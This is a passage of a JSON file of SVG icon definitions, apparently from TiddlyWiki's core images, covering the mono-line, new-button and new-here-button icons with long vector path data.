C126.448438,20.2680151 126.273714,20.9494377 125.924261,21.361792 C125.574808,21.7741462 125.008703,21.9803202 124.225929,21.9803202 C123.415199,21.9803202 122.831622,21.7706517 122.47518,21.3513084 C122.118738,20.9319652 121.94052,20.254037 121.94052,19.3175037 L121.94052,17.1159625 Z M19.7719369,47.6405477 C20.037521,47.1373358 20.3205734,46.7808993 20.6211028,46.5712277 C20.9216322,46.361556 21.295541,46.2567218 21.7428405,46.2567218 C22.4277678,46.2567218 22.9134998,46.4384345 23.2000511,46.8018653 C23.4866023,47.1652962 23.6298758,47.7873127 23.6298758,48.6679336 L23.6718099,54.119369 C23.6718099,55.0838586 23.5145586,55.7338309 23.2000511,56.0693055 C22.8855436,56.4047802 22.3089553,56.572515 21.4702687,56.572515 C20.8831881,56.572515 20.4254119,56.4292415 20.0969263,56.1426902 C19.7684407,55.856139 19.4993662,55.3424512 19.2896945,54.6016114 C18.9122856,53.2597129 18.3322027,52.3022267 17.5494286,51.7291243 C16.7666545,51.1560218 15.6693894,50.8694748 14.2576003,50.8694748 C12.1049715,50.8694748 10.4590738,51.5963256 9.31985785,53.050049 C8.18064193,54.5037724 7.61104252,56.6074463 7.61104252,59.3611338 C7.61104252,62.1148214 8.20859773,64.2429566 9.40372609,65.7456034 C10.5988544,67.2482501 12.2936748,67.9995623 14.488238,67.9995623 C14.9914499,67.9995623 15.5645438,67.9401562 16.2075368,67.8213423 C16.8505299,67.7025283 17.6053364,67.5173212 18.4719792,67.2657152 L18.4719792,63.9529198 L16.1027015,63.9529198 C15.1521901,63.9529198 14.4777564,63.7781961 14.0793803,63.4287433 C13.6810042,63.0792906 13.4818191,62.4992078 13.4818191,61.6884774 C13.4818191,60.8497908 13.6810042,60.2522356 14.0793803,59.8957938 C14.4777564,59.5393521 15.1521901,59.3611338 16.1027015,59.3611338 L23.6718099,59.3611338 C24.6502776,59.3611338 25.3386891,59.5358576 25.7370653,59.8853103 C26.1354414,60.2347631 26.3346265,60.8218348 26.3346265,61.6465433 C26.3346265,62.3873831 26.1354414,62.9569825 25.7370653,63.3553586 C25.3386891,63.7537347 24.7621008,63.9529198 24.0072829,63.9529198 L23.6718099,63.9529198 L23.6718099,68.9430799 L23.6718099,69.1946846 C23.6718099,69.6419841 23.6228873,69.9529924 23.5250405,70.1277188 C23.4271937,70.3024451 23.2315031,70.4806634 22.9379628,70.6623788 C22.1412106,71.1376345 20.8762107,71.5569715 19.1429251,71.9204023 C17.4096396,72.2838332 15.6554131,72.4655459 13.8801932,72.4655459 C10.2179286,72.4655459 7.25461383,71.2564576 4.99016011,68.8382446 C2.72570638,66.4200317 1.59349651,63.2610264 1.59349651,59.3611338 C1.59349651,55.6010224 2.73968428,52.4769618 5.03209423,49.9888583 C7.32450417,47.5007549 10.2319073,46.2567218 13.7543909,46.2567218 C14.7328585,46.2567218 15.7078171,46.368545 16.6792957,46.5921947 C17.6507743,46.8158445 18.6816444,47.165292 19.7719369,47.6405477 L19.7719369,47.6405477 Z M35.611576,51.5823548 L35.611576,56.4047785 L42.4678043,56.4047785 L42.4678043,51.5823548 L42.1323314,51.5823548 C41.3775135,51.5823548 40.8009251,51.3866642 40.402549,50.9952772 C40.0041729,50.6038901 39.8049878,50.0307962 39.8049878,49.2759783 C39.8049878,48.4512699 40.0111618,47.8572091 40.4235161,47.4937783 C40.8358703,47.1303474 41.5172929,46.9486347 42.4678043,46.9486347 L47.8773056,46.9486347 C48.8278171,46.9486347 49.5022507,47.1303474 49.9006269,47.4937783 C50.299003,47.8572091 50.498188,48.4512699 50.498188,49.2759783 C50.498188,50.0307962 50.3059919,50.6038901 49.9215939,50.9952772 C49.5371959,51.3866642 48.9745854,51.5823548 48.2337456,51.5823548 L47.8773056,51.5823548 L47.8773056,67.2237811 L48.2337456,67.2237811 C48.9885636,67.2237811 49.5616574,67.4159772 49.9530445,67.8003752 C50.3444316,68.1847732 50.5401222,68.7473837 50.5401222,69.4882235 C50.5401222,70.3129319 50.3374426,70.9069927 49.9320774,71.2704235 C49.5267123,71.6338543 48.8417952,71.815567 47.8773056,71.815567 L42.4678043,71.815567 C41.5033148,71.815567 40.8183977,71.6373488 40.4130325,71.280907 C40.0076674,70.9244652 39.8049878,70.32691 39.8049878,69.4882235 C39.8049878,68.7473837 40.0041729,68.1847732 40.402549,67.8003752 C40.8009251,67.4159772 41.3775135,67.2237811 42.1323314,67.2237811 L42.4678043,67.2237811 L42.4678043,61.0384986 L35.611576,61.0384986 L35.611576,67.2237811 L35.9470489,67.2237811 C36.7018668,67.2237811 37.2784552,67.4159772 37.6768313,67.8003752 C38.0752074,68.1847732 38.2743925,68.7473837 38.2743925,69.4882235 C38.2743925,70.3129319 38.0682185,70.9069927 37.6558642,71.2704235 C37.24351,71.6338543 36.5620874,71.815567 35.611576,71.815567 L30.2020747,71.815567 C29.2375851,71.815567 28.552668,71.6373488 28.1473029,71.280907 C27.7419377,70.9244652 27.5392581,70.32691 27.5392581,69.4882235 C27.5392581,68.7473837 27.7349487,68.1847732 28.1263358,67.8003752 C28.5177229,67.4159772 29.0908168,67.2237811 29.8456347,67.2237811 L30.2020747,67.2237811 L30.2020747,51.5823548 L29.8456347,51.5823548 C29.1047949,51.5823548 28.5421844,51.3866642 28.1577864,50.9952772 C27.7733884,50.6038901 27.5811923,50.0307962 27.5811923,49.2759783 C27.5811923,48.4512699 27.7803773,47.8572091 28.1787534,47.4937783 C28.5771296,47.1303474 29.2515632,46.9486347 30.2020747,46.9486347 L35.611576,46.9486347 C36.5481093,46.9486347 37.2260374,47.1303474 37.6453807,47.4937783 C38.064724,47.8572091 38.2743925,48.4512699 38.2743925,49.2759783 C38.2743925,50.0307962 38.0752074,50.6038901 37.6768313,50.9952772 C37.2784552,51.3866642 36.7018668,51.5823548 35.9470489,51.5823548 L35.611576,51.5823548 Z M67.365213,51.5823548 L67.365213,67.2237811 L70.887679,67.2237811 C71.8381904,67.2237811 72.519613,67.4019993 72.9319673,67.7584411 C73.3443215,68.1148829 73.5504955,68.6914712 73.5504955,69.4882235 C73.5504955,70.2989538 73.340827,70.8895201 72.9214837,71.25994 C72.5021404,71.6303599 71.8242123,71.815567 70.887679,71.815567 L58.4332458,71.815567 C57.4827343,71.815567 56.8013117,71.6338543 56.3889575,71.2704235 C55.9766033,70.9069927 55.7704292,70.3129319 55.7704292,69.4882235 C55.7704292,68.6774931 55.9731088,68.0974103 56.378474,67.7479575 C56.7838391,67.3985048 57.4687562,67.2237811 58.4332458,67.2237811 L61.9557117,67.2237811 L61.9557117,51.5823548 L58.4332458,51.5823548 C57.4827343,51.5823548 56.8013117,51.4006421 56.3889575,51.0372113 C55.9766033,50.6737805 55.7704292,50.0867087 55.7704292,49.2759783 C55.7704292,48.4512699 55.9731088,47.8641981 56.378474,47.5147453 C56.7838391,47.1652926 57.4687562,46.9905689 58.4332458,46.9905689 L70.887679,46.9905689 C71.8801247,46.9905689 72.5720308,47.1652926 72.9634178,47.5147453 C73.3548049,47.8641981 73.5504955,48.4512699 73.5504955,49.2759783 C73.5504955,50.0867087 73.347816,50.6737805 72.9424508,51.0372113 C72.5370856,51.4006421 71.8521685,51.5823548 70.887679,51.5823548 L67.365213,51.5823548 Z M97.8608265,51.5823548 L97.8608265,63.1771386 L97.8608265,63.5755127 C97.8608265,65.4485794 97.7385199,66.8044357 97.493903,67.6431222 C97.2492861,68.4818088 96.8404325,69.2296264 96.26733,69.8865976 C95.5264902,70.7392623 94.4991146,71.3822457 93.1851723,71.815567 C91.87123,72.2488884 90.2917273,72.4655459 88.4466169,72.4655459 C87.1466527,72.4655459 85.8921362,72.3397448 84.6830298,72.0881388 C83.4739233,71.8365328 82.3102631,71.4591296 81.1920144,70.9559176 C80.5769776,70.6763554 80.175113,70.31293 79.9864085,69.8656305 C79.797704,69.418331 79.7033532,68.6914802 79.7033532,67.6850564 L79.7033532,63.3658422 C79.7033532,62.1637247 79.8780769,61.3250508 80.2275297,60.849795 C80.5769824,60.3745393 81.185021,60.136915 82.0516638,60.136915 C83.2957156,60.136915 83.9806326,61.0524675 84.1064356,62.8835998 C84.1204137,63.2050963 84.1413806,63.4497096 84.1693368,63.6174469 C84.3370741,65.2389076 84.7144774,66.3466561 85.301558,66.9407258 C85.8886386,67.5347954 86.8251579,67.8318258 88.1111439,67.8318258 C89.7046484,67.8318258 90.8263749,67.4089943 91.476357,66.5633187 C92.126339,65.7176431 92.4513252,64.1765796 92.4513252,61.9400821 L92.4513252,51.5823548 L88.9288593,51.5823548 C87.9783478,51.5823548 87.2969252,51.4006421 86.884571,51.0372113 C86.4722168,50.6737805 86.2660427,50.0867087 86.2660427,49.2759783 C86.2660427,48.4512699 86.4652278,47.8641981 86.8636039,47.5147453 C87.26198,47.1652926 87.9503916,46.9905689 88.9288593,46.9905689 L99.6220595,46.9905689 C100.600527,46.9905689 101.288939,47.1652926 101.687315,47.5147453 C102.085691,47.8641981 102.284876,48.4512699 102.284876,49.2759783 C102.284876,50.0867087 102.078702,50.6737805 101.666348,51.0372113 C101.253994,51.4006421 100.572571,51.5823548 99.6220595,51.5823548 L97.8608265,51.5823548 Z M112.505343,51.5823548 L112.505343,57.9353738 L118.984165,51.4565525 C118.257303,51.3726838 117.747109,51.1665098 117.453569,50.8380242 C117.160029,50.5095387 117.013261,49.9888619 117.013261,49.2759783 C117.013261,48.4512699 117.212446,47.8572091 117.610822,47.4937783 C118.009198,47.1303474 118.683632,46.9486347 119.634143,46.9486347 L124.771073,46.9486347 C125.721584,46.9486347 126.396018,47.1303474 126.794394,47.4937783 C127.19277,47.8572091 127.391955,48.4512699 127.391955,49.2759783 C127.391955,50.0447743 127.19277,50.6213627 126.794394,51.0057607 C126.396018,51.3901587 125.812441,51.5823548 125.043645,51.5823548 L124.561402,51.5823548 L118.459988,57.641835 C119.592215,58.4805215 120.626579,59.5812811 121.563113,60.9441468 C122.499646,62.3070125 123.596911,64.400203 124.854941,67.2237811 L125.127513,67.2237811 L125.546854,67.2237811 C126.371563,67.2237811 126.98659,67.4124827 127.391955,67.7898917 C127.79732,68.1673006 128,68.7334056 128,69.4882235 C128,70.3129319 127.793826,70.9069927 127.381472,71.2704235 C126.969118,71.6338543 126.287695,71.815567 125.337183,71.815567 L122.758235,71.815567 C121.626008,71.815567 120.710456,71.0537715 120.01155,69.5301576 C119.885747,69.2505954 119.787902,69.026949 119.718012,68.8592117 C118.795456,66.9022764 117.949793,65.3926632 117.180997,64.3303269 C116.412201,63.2679906 115.510627,62.2965265 114.476247,61.4159056 L112.505343,63.302941 L112.505343,67.2237811 L112.840816,67.2237811 C113.595634,67.2237811 114.172222,67.4159772 114.570599,67.8003752 C114.968975,68.1847732 115.16816,68.7473837 115.16816,69.4882235 C115.16816,70.3129319 114.961986,70.9069927 114.549631,71.2704235 C114.137277,71.6338543 113.455855,71.815567 112.505343,71.815567 L107.095842,71.815567 C106.131352,71.815567 105.446435,71.6373488 105.04107,71.280907 C104.635705,70.9244652 104.433025,70.32691 104.433025,69.4882235 C104.433025,68.7473837 104.628716,68.1847732 105.020103,67.8003752 C105.41149,67.4159772 105.984584,67.2237811 106.739402,67.2237811 L107.095842,67.2237811 L107.095842,51.5823548 L106.739402,51.5823548 C105.998562,51.5823548 105.435952,51.3866642 105.051554,50.9952772 C104.667156,50.6038901 104.474959,50.0307962 104.474959,49.2759783 C104.474959,48.4512699 104.674145,47.8572091 105.072521,47.4937783 C105.470897,47.1303474 106.14533,46.9486347 107.095842,46.9486347 L112.505343,46.9486347 C113.441877,46.9486347 114.119805,47.1303474 114.539148,47.4937783 C114.958491,47.8572091 115.16816,48.4512699 115.16816,49.2759783 C115.16816,50.0307962 114.968975,50.6038901 114.570599,50.9952772 C114.172222,51.3866642 113.595634,51.5823548 112.840816,51.5823548 L112.505343,51.5823548 Z M13.439885,96.325622 L17.4445933,84.4372993 C17.6961993,83.6545252 18.0456468,83.0849258 18.4929463,82.728484 C18.9402458,82.3720422 19.5343065,82.193824 20.2751463,82.193824 L23.5460076,82.193824 C24.496519,82.193824 25.1779416,82.3755367 25.5902958,82.7389675 C26.0026501,83.1023984 26.2088241,83.6964591 26.2088241,84.5211676 C26.2088241,85.2759855 26.009639,85.8490794 25.6112629,86.2404664 C25.2128868,86.6318535 24.6362984,86.8275441 23.8814805,86.8275441 L23.5460076,86.8275441 L24.1330852,102.46897 L24.4895252,102.46897 C25.2443431,102.46897 25.8104481,102.661166 26.187857,103.045564 C26.565266,103.429962 26.7539676,103.992573 26.7539676,104.733413 C26.7539676,105.558121 26.5547826,106.152182 26.1564064,106.515613 C25.7580303,106.879044 25.0835967,107.060756 24.1330852,107.060756 L19.4154969,107.060756 C18.4649855,107.060756 17.7905518,106.882538 17.3921757,106.526096 C16.9937996,106.169654 16.7946145,105.572099 16.7946145,104.733413 C16.7946145,103.992573 16.9868106,103.429962 17.3712086,103.045564 C17.7556066,102.661166 18.325206,102.46897 19.0800239,102.46897 L19.4154969,102.46897 L19.1219581,89.6790642 L16.0607674,99.1981091 C15.8371177,99.9109927 15.5191204,100.42468 15.1067662,100.739188 C14.694412,101.053695 14.1248126,101.210947 13.3979509,101.210947 C12.6710892,101.210947 12.0945008,101.053695 11.6681685,100.739188 C11.2418362,100.42468 10.91685,99.9109927 10.6932002,99.1981091 L7.65297664,89.6790642 L7.35943781,102.46897 L7.69491075,102.46897 C8.44972866,102.46897 9.01932808,102.661166 9.40372609,103.045564 C9.78812409,103.429962 9.98032022,103.992573 9.98032022,104.733413 C9.98032022,105.558121 9.77764067,106.152182 9.3722755,106.515613 C8.96691032,106.879044 8.29597114,107.060756 7.35943781,107.060756 L2.62088241,107.060756 C1.68434908,107.060756 1.01340989,106.879044 0.608044719,106.515613 C0.202679546,106.152182 0,105.558121 0,104.733413 C0,103.992573 0.192196121,103.429962 0.57659413,103.045564 C0.960992139,102.661166 1.53059155,102.46897 2.28540946,102.46897 L2.62088241,102.46897 L3.22892713,86.8275441 L2.89345418,86.8275441 C2.13863627,86.8275441 1.56204791,86.6318535 1.16367179,86.2404664 C0.765295672,85.8490794 0.5661106,85.2759855 0.5661106,84.5211676 C0.5661106,83.6964591 0.772284622,83.1023984 1.18463885,82.7389675 C1.59699308,82.3755367 2.27841569,82.193824 3.22892713,82.193824 L6.49978838,82.193824 C7.22665007,82.193824 7.81022738,82.3685477 8.25053783,82.7180005 C8.69084827,83.0674532 9.05077919,83.6405471 9.33034138,84.4372993 L13.439885,96.325622 Z M43.8935644,98.3803938 L43.8935644,86.8275441 L42.7403761,86.8275441 C41.8178209,86.8275441 41.1573651,86.6458314 40.758989,86.2824006 C40.3606129,85.9189697 40.1614278,85.3318979 40.1614278,84.5211676 C40.1614278,83.7104372 40.3606129,83.119871 40.758989,82.7494511 C41.1573651,82.3790312 41.8178209,82.193824 42.7403761,82.193824 L48.6950209,82.193824 C49.6035981,82.193824 50.2605593,82.3790312 50.6659245,82.7494511 C51.0712897,83.119871 51.2739692,83.7104372 51.2739692,84.5211676 C51.2739692,85.2620074 51.0817731,85.8316068 50.6973751,86.2299829 C50.3129771,86.628359 49.7643445,86.8275441 49.051461,86.8275441 L48.6950209,86.8275441 L48.6950209,105.865634 C48.6950209,106.522605 48.6251315,106.934953 48.4853504,107.10269 C48.3455693,107.270428 48.0310665,107.354295 47.5418327,107.354295 L45.4451268,107.354295 C44.7741775,107.354295 44.3024234,107.284406 44.0298503,107.144625 C43.7572771,107.004843 43.5231473,106.76023 43.3274538,106.410777 L34.6051571,91.0838571 L34.6051571,102.46897 L35.8212466,102.46897 C36.7298237,102.46897 37.379796,102.643694 37.7711831,102.993147 C38.1625701,103.3426 38.3582607,103.922682 38.3582607,104.733413 C38.3582607,105.558121 38.1590757,106.152182 37.7606995,106.515613 C37.3623234,106.879044 36.7158456,107.060756 35.8212466,107.060756 L29.8037005,107.060756 C28.8951234,107.060756 28.2381621,106.879044 27.832797,106.515613 C27.4274318,106.152182 27.2247522,105.558121 27.2247522,104.733413 C27.2247522,103.992573 27.4134539,103.429962 27.7908629,103.045564 C28.1682718,102.661166 28.7273878,102.46897 29.4682276,102.46897 L29.8037005,102.46897 L29.8037005,86.8275441 L29.4682276,86.8275441 C28.755344,86.8275441 28.203217,86.628359 27.8118299,86.2299829 C27.4204428,85.8316068 27.2247522,85.2620074 27.2247522,84.5211676 C27.2247522,83.7104372 27.4309263,83.119871 27.8432805,82.7494511 C28.2556347,82.3790312 28.9091015,82.193824 29.8037005,82.193824 L33.2422983,82.193824 C34.0670067,82.193824 34.6261227,82.3021527 34.919663,82.5188134 C35.2132033,82.7354741 35.5416839,83.1722835 35.9051148,83.8292546 L43.8935644,98.3803938 Z M64.6604624,86.3662688 C62.8572863,86.3662688 61.4420239,87.0931196 60.4146329,88.546843 C59.3872418,90.0005663 58.873554,92.0203728 58.873554,94.6063231 C58.873554,97.1922733 59.3907363,99.2190688 60.4251164,100.68677 C61.4594965,102.154472 62.8712644,102.888312 64.6604624,102.888312 C66.4636385,102.888312 67.8823953,102.157966 68.9167754,100.697254 C69.9511555,99.2365414 70.4683378,97.2062514 70.4683378,94.6063231 C70.4683378,92.0203728 69.95465,90.0005663 68.9272589,88.546843 C67.8998679,87.0931196 66.4776166,86.3662688 64.6604624,86.3662688 L64.6604624,86.3662688 Z M64.6604624,81.501911 C68.0990773,81.501911 70.929602,82.7319662 73.1521214,85.1921135 C75.3746408,87.6522607 76.4858838,90.7902992 76.4858838,94.6063231 C76.4858838,98.4503032 75.3816297,101.595331 73.1730884,104.0415 C70.9645471,106.487669 68.1270335,107.710735 64.6604624,107.710735 C61.2358256,107.710735 58.4053009,106.477185 56.1688034,104.010049 C53.9323059,101.542913 52.8140739,98.4083688 52.8140739,94.6063231 C52.8140739,90.7763211 53.9218224,87.6347881 56.1373528,85.1816299 C58.3528831,82.7284717 61.1938912,81.501911 64.6604624,81.501911 L64.6604624,81.501911 Z M87.4611651,98.1707232 L87.4611651,102.46897 L89.6207722,102.46897 C90.5293493,102.46897 91.1758272,102.643694 91.5602252,102.993147 C91.9446232,103.3426 92.1368193,103.922682 92.1368193,104.733413 C92.1368193,105.558121 91.9411287,106.152182 91.5497417,106.515613 C91.1583546,106.879044 90.5153712,107.060756 89.6207722,107.060756 L82.3661697,107.060756 C81.4436145,107.060756 80.7831587,106.879044 80.3847826,106.515613 C79.9864065,106.152182 79.7872214,105.558121 79.7872214,104.733413 C79.7872214,103.992573 79.9759231,103.429962 80.353332,103.045564 C80.730741,102.661166 81.282868,102.46897 82.0097297,102.46897 L82.3661697,102.46897 L82.3661697,86.8275441 L82.0097297,86.8275441 C81.2968461,86.8275441 80.7482136,86.628359 80.3638155,86.2299829 C79.9794175,85.8316068 79.7872214,85.2620074 79.7872214,84.5211676 C79.7872214,83.7104372 79.989901,83.119871 80.3952661,82.7494511 C80.8006313,82.3790312 81.4575926,82.193824 82.3661697,82.193824 L91.0255652,82.193824 C94.450202,82.193824 97.0396079,82.8507853 98.7938606,84.1647276 C100.548113,85.4786699 101.425227,87.414609 101.425227,89.972603 C101.425227,92.6703781 100.551608,94.7111515 98.8043442,96.0949843 C97.0570805,97.4788171 94.4641801,98.1707232 91.0255652,98.1707232 L87.4611651,98.1707232 Z M87.4611651,86.8275441 L87.4611651,93.4531348 L90.4384875,93.4531348 C92.0879044,93.4531348 93.328443,93.1735768 94.1601405,92.6144525 C94.9918381,92.0553281 95.4076806,91.2166541 95.4076806,90.0984053 C95.4076806,89.0500471 94.9778602,88.2428234 94.1182064,87.67671 C93.2585527,87.1105966 92.031992,86.8275441 90.4384875,86.8275441 L87.4611651,86.8275441 Z M114.727851,107.396229 L113.092421,109.03166 C113.69348,108.835966 114.284046,108.689198 114.864137,108.591352 C115.444229,108.493505 116.013828,108.444582 116.572953,108.444582 C117.677223,108.444582 118.840883,108.608823 120.063968,108.937308 C121.287053,109.265794 122.031376,109.430034 122.29696,109.430034 C122.744259,109.430034 123.327837,109.279772 124.047709,108.979242 C124.767582,108.678713 125.253314,108.52845 125.50492,108.52845 C126.02211,108.52845 126.45193,108.727636 126.794394,109.126012 C127.136858,109.524388 127.308087,110.024098 127.308087,110.625156 C127.308087,111.421909 126.836333,112.099837 125.892811,112.658961 C124.949288,113.218086 123.792617,113.497643 122.422762,113.497643 C121.486229,113.497643 120.28413,113.277492 118.816428,112.837181 C117.348727,112.396871 116.286406,112.176719 115.629435,112.176719 C114.636989,112.176719 113.518757,112.449288 112.274706,112.994434 C111.030654,113.53958 110.261869,113.812149 109.968329,113.812149 C109.36727,113.812149 108.857077,113.612964 108.437734,113.214588 C108.01839,112.816212 107.808722,112.337469 107.808722,111.778345 C107.808722,111.386958 107.941512,110.971115 108.207096,110.530805 C108.47268,110.090494 108.94094,109.520895 109.611889,108.821989 L111.729562,106.683349 C109.395218,105.830685 107.536157,104.29661 106.152324,102.08108 C104.768491,99.8655494 104.076585,97.3180772 104.076585,94.4385866 C104.076585,90.6365409 105.180839,87.5299526 107.389381,85.1187288 C109.597922,82.7075049 112.442425,81.501911 115.922974,81.501911 C119.389545,81.501911 122.227059,82.7109994 124.4356,85.1292123 C126.644141,87.5474252 127.748395,90.650519 127.748395,94.4385866 C127.748395,98.2126762 126.65113,101.322759 124.456567,103.768928 C122.262004,106.215097 119.480402,107.438163 116.111677,107.438163 C115.888028,107.438163 115.660887,107.434669 115.430248,107.42768 C115.199609,107.420691 114.965479,107.410207 114.727851,107.396229 L114.727851,107.396229 Z M115.922974,86.3662688 C114.119798,86.3662688 112.704535,87.0931196 111.677144,88.546843 C110.649753,90.0005663 110.136065,92.0203728 110.136065,94.6063231 C110.136065,97.1922733 110.653248,99.2190688 111.687628,100.68677 C112.722008,102.154472 114.133776,102.888312 115.922974,102.888312 C117.72615,102.888312 119.144907,102.157966 120.179287,100.697254 C121.213667,99.2365414 121.730849,97.2062514 121.730849,94.6063231 C121.730849,92.0203728 121.217161,90.0005663 120.18977,88.546843 C119.162379,87.0931196 117.740128,86.3662688 115.922974,86.3662688 L115.922974,86.3662688 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/mono-line": {
            "title": "$:/core/images/mono-line",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-mono-line tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M60.4374591,84.522627 L61.3450888,84.522627 C63.2671377,84.522627 64.7264493,85.0120303 65.7230673,85.9908515 C66.7196852,86.9696727 67.2179868,88.4022896 67.2179868,90.288745 C67.2179868,92.3887615 66.6929905,93.9014625 65.6429823,94.8268935 C64.5929741,95.7523244 62.857817,96.215033 60.4374591,96.215033 L44.3670747,96.215033 C41.9111232,96.215033 40.1670679,95.7612227 39.1348565,94.8535884 C38.102645,93.9459542 37.586547,92.424355 37.586547,90.288745 C37.586547,88.2243221 38.102645,86.747214 39.1348565,85.8573766 C40.1670679,84.9675391 41.9111232,84.522627 44.3670747,84.522627 L46.235724,84.522627 L44.0467348,78.2759992 L20.9822627,78.2759992 L18.6864935,84.522627 L20.5551429,84.522627 C22.9755008,84.522627 24.7106579,84.9764373 25.7606661,85.8840716 C26.8106743,86.7917058 27.3356705,88.2599156 27.3356705,90.288745 C27.3356705,92.3887615 26.8106743,93.9014625 25.7606661,94.8268935 C24.7106579,95.7523244 22.9755008,96.215033 20.5551429,96.215033 L6.78052766,96.215033 C4.32457622,96.215033 2.58052094,95.7523244 1.54830946,94.8268935 C0.516097994,93.9014625 0,92.3887615 0,90.288745 C0,88.4022896 0.498301511,86.9696727 1.49491948,85.9908515 C2.49153745,85.0120303 3.95084902,84.522627 5.87289797,84.522627 L6.78052766,84.522627 L21.0890427,44.6937008 L16.8178442,44.6937008 C14.3974863,44.6937008 12.6623292,44.2309922 11.612321,43.3055613 C10.5623128,42.3801303 10.0373165,40.8852258 10.0373165,38.8208028 C10.0373165,36.7207864 10.5623128,35.2080854 11.612321,34.2826544 C12.6623292,33.3572234 14.3974863,32.8945149 16.8178442,32.8945149 L36.8390873,32.8945149 C40.0069087,32.8945149 42.231469,34.6029772 43.512835,38.0199531 L43.512835,38.180123 L60.4374591,84.522627 Z M32.4611088,44.6937008 L24.7195615,67.224273 L40.2026561,67.224273 L32.4611088,44.6937008 Z M89.5058233,68.5590225 L89.5058233,84.8429669 L97.5143205,84.8429669 C103.173687,84.8429669 107.160099,84.22009 109.473676,82.9743176 C111.787254,81.7285451 112.944025,79.6463566 112.944025,76.7276897 C112.944025,73.7734293 111.840643,71.6734444 109.633846,70.4276719 C107.427049,69.1818994 103.565213,68.5590225 98.0482204,68.5590225 L89.5058233,68.5590225 Z M116.734714,62.6327346 C120.614405,64.0564746 123.461842,66.0051894 125.277111,68.4789376 C127.092379,70.9526857 128,74.1115614 128,77.9556593 C128,81.1946677 127.216955,84.1488838 125.650841,86.8183962 C124.084727,89.4879087 121.84237,91.676876 118.923703,93.385364 C117.215215,94.3819819 115.302093,95.1027395 113.18428,95.5476582 C111.066467,95.9925769 108.06776,96.215033 104.188068,96.215033 L99.7033098,96.215033 L76.3184979,96.215033 C73.9693269,96.215033 72.2875593,95.7523244 71.2731446,94.8268935 C70.2587299,93.9014625 69.7515301,92.3887615 69.7515301,90.288745 C69.7515301,88.4022896 70.2320352,86.9696727 71.1930596,85.9908515 C72.1540841,85.0120303 73.5600062,84.522627 75.4108682,84.522627 L76.3184979,84.522627 L76.3184979,44.6937008 L75.4108682,44.6937008 C73.5600062,44.6937008 72.1540841,44.1953993 71.1930596,43.1987813 C70.2320352,42.2021633 69.7515301,40.7428518 69.7515301,38.8208028 C69.7515301,36.7563799 70.2676281,35.2525771 71.2998396,34.3093494 C72.3320511,33.3661217 74.0049204,32.8945149 76.3184979,32.8945149 L100.877889,32.8945149 C108.388118,32.8945149 114.09189,34.3538264 117.989378,37.2724934 C121.886867,40.1911603 123.835581,44.4623161 123.835581,50.0860889 C123.835581,52.8623819 123.239399,55.3093982 122.047017,57.4272114 C120.854635,59.5450246 119.083885,61.2801816 116.734714,62.6327346 L116.734714,62.6327346 Z M89.5058233,44.3733609 L89.5058233,57.8276363 L96.7134708,57.8276363 C101.091471,57.8276363 104.179161,57.3115383 105.976633,56.2793268 C107.774104,55.2471153 108.672827,53.50306 108.672827,51.0471086 C108.672827,48.7335312 107.863087,47.0428653 106.243583,45.9750604 C104.624078,44.9072554 101.999097,44.3733609 98.3685602,44.3733609 L89.5058233,44.3733609 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/new-button": {
            "title": "$:/core/images/new-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-new-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M56,72 L8.00697327,72 C3.59075293,72 0,68.418278 0,64 C0,59.5907123 3.58484404,56 8.00697327,56 L56,56 L56,8.00697327 C56,3.59075293 59.581722,0 64,0 C68.4092877,0 72,3.58484404 72,8.00697327 L72,56 L119.993027,56 C124.409247,56 128,59.581722 128,64 C128,68.4092877 124.415156,72 119.993027,72 L72,72 L72,119.993027 C72,124.409247 68.418278,128 64,128 C59.5907123,128 56,124.415156 56,119.993027 L56,72 L56,72 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/new-here-button": {
            "title": "$:/core/images/new-here-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-new-here-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n    \t<g transform=\"translate(52.233611, 64.389922) rotate(75.000000) translate(-52.233611, -64.389922) translate(-7.734417, 3.702450)\">\n\t        <path d=\"M18.9270186,45.959338 L18.9080585,49.6521741 C18.8884833,53.4648378 21.0574548,58.7482162 23.7526408,61.4434022 L78.5671839,116.257945 C81.2617332,118.952495 85.6348701,118.950391 88.3334363,116.251825 L115.863237,88.7220241 C118.555265,86.0299959 118.564544,81.6509578 115.869358,78.9557717 L61.0548144,24.1412286 C58.3602652,21.4466794 53.0787224,19.2788426 49.2595808,19.3006519 L25.9781737,19.4336012 C22.1633003,19.4553862 19.0471195,22.5673232 19.0275223,26.3842526 L18.9871663,34.2443819 C19.0818862,34.255617 19.1779758,34.2665345 19.2754441,34.2771502 C22.6891275,34.6489512 27.0485594,34.2348566 31.513244,33.2285542 C31.7789418,32.8671684 32.075337,32.5211298 32.4024112,32.1940556 C34.8567584,29.7397084 38.3789778,29.0128681 41.4406288,30.0213822 C41.5958829,29.9543375 41.7503946,29.8866669 41.9041198,29.8183808 L42.1110981,30.2733467 C43.1114373,30.6972371 44.0473796,31.3160521 44.8614145,32.1300869 C48.2842088,35.5528813 48.2555691,41.130967 44.7974459,44.5890903 C41.4339531,47.952583 36.0649346,48.0717177 32.6241879,44.9262969 C27.8170558,45.8919233 23.0726921,46.2881596 18.9270186,45.959338 Z\"></path>\n\t        <path d=\"M45.4903462,38.8768094 C36.7300141,42.6833154 26.099618,44.7997354 18.1909048,43.9383587 C7.2512621,42.7468685 1.50150083,35.8404432 4.66865776,24.7010202 C7.51507386,14.6896965 15.4908218,6.92103848 24.3842626,4.38423012 C34.1310219,1.60401701 42.4070208,6.15882777 42.4070209,16.3101169 L34.5379395,16.310117 C34.5379394,11.9285862 31.728784,10.3825286 26.5666962,11.8549876 C20.2597508,13.6540114 14.3453742,19.4148216 12.2444303,26.8041943 C10.4963869,32.9523565 12.6250796,35.5092726 19.0530263,36.2093718 C25.5557042,36.9176104 35.0513021,34.9907189 42.7038419,31.5913902 L42.7421786,31.6756595 C44.3874154,31.5384763 47.8846101,37.3706354 45.9274416,38.6772897 L45.9302799,38.6835285 C45.9166992,38.6895612 